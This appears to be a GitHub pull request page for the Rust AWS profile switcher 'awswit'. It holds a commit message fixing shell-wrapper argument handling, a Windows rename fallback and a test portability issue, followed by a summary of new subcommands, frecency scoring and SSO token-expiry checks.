(bash/zsh/fish/powershell) decided eval vs. passthrough based on the
first argument only, so `awswit --json -l` (or any reordered flags)
fell into the `--shell-export` path and would have `eval` / `source`
/ `Invoke-Expression` the binary's JSON output — broken for the user
and potentially unsafe if anything in the JSON resembled shell syntax.
Fix: each wrapper now scans every argument for a pass-through token
(subcommand, help/version, list flags, JSON / names-only / shell-export
flags). Flag order no longer matters. Also caught a regression in the
process — passing `-s` directly used to forward through to the
binary; the new scan includes `-s`/`--shell-export` so a power user
can still call `awswit dev -s` without the wrapper trying to add a
second `--shell-export`.
2. **`fs::rename` on Windows can refuse to overwrite.** Modern Rust
uses `MoveFileExW(REPLACE_EXISTING)` so this is usually fine on
NTFS, but FAT32 / network shares can still return AlreadyExists.
Add a Windows-only fallback: on AlreadyExists, remove the target
and retry. Loses atomicity but never loses history. Linux/macOS
path unchanged — `rename(2)` already atomic.
3. **`exec_with_typo_suggests_correct_profile` used `"true"` as CMD.**
The test errors out on profile resolution before spawn (so `true`
would never execute), but Copilot is right that having `true` in the
command vec is a portability red flag on Windows where the binary
doesn't exist. Replaced with `env!("CARGO_BIN_EXE_awswit"), "--version"`
so it's a real, present binary on every platform we ship for.
The three `/usr/bin/env`-using tests on lines 252/266/344 were already
addressed in 1393170 (gated with `#[cfg(unix)]` plus portable companions).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This is a major refactor that adds first-class scripting support and diagnostic tools to awswit, while simplifying the core profile-switching logic.
Summary
Restructures the main entry point to support new subcommands (
exec,pick,which,doctor,prompt) alongside the existing interactive and non-interactive modes. Improves frecency scoring with continuous exponential decay, refactors shell initialization scripts to properly handle subcommand passthrough, and adds SSO token expiry detection.Key Changes
New Subcommands:
awswit exec PROFILE -- CMD— run a command with AWS_PROFILE set in the child process only, without mutating the parent shellawswit pick— open the picker and print the selected profile to stdout (for shell substitution)awswit which— report the currently active profile with region/account/role/SSO status and token expiryawswit doctor— audit ~/.aws/config and SSO cache for errors (missing source_profile chains, cycles, expired tokens, malformed MFA, region typos, shell-unsafe names); supports--jsonfor CIawswit prompt --format … --default …— print current profile for shell-prompt embeddingCore Improvements:
score = use_count * 2^(-age_hours/72)) for smooth ranking without bucket-edge lurchesProfilePickernow returnsPickerOutcome(selected profile + updated history) instead of just the selection, ensuring favorite toggles inside the picker are persisted correctly-l --names-only) that skipsAppContext::buildto avoid touching history and SSO cache on every keystroke--shell-exportwrapping) while wrapping profile-switch calls with--shell-export[profile badwritten by another tool can't breakawswit -lfor the whole shellNew Modules:
src/sso.rs— reads AWS CLI's SSO token cache (~/.aws/sso/cache/*.json) to check session expiry and report inwhichanddoctorsrc/utils/paths.rs— XDG-compliant data directory resolution with legacy migration supportRemoved:
AwswitConfig(the~/.awswit/config.tomlfile) — configuration is now CLI-onlyStatusLinespinner widget — no longer needed with the new architectureconfigparserdependency — replaced with hand-rolled tolerant INI parserCLI Changes:
--info→--verbose(more standard naming)--list-profiles→--list--show-commands→--shell-export(clearer intent)--names-only(for tab-completion fast path)--no-interactive(explicit opt-out of picker)--disable-fzf→--no-fzfTesting:
Documentation:
Implementation Details
switch_profilealways sees the latest state (previously the picker saved on-toggle while main saved a stale snapshot, silently reverting favoritehttps://claude.ai/code/session_018cLawX5tjPt9UtSH8hg1ha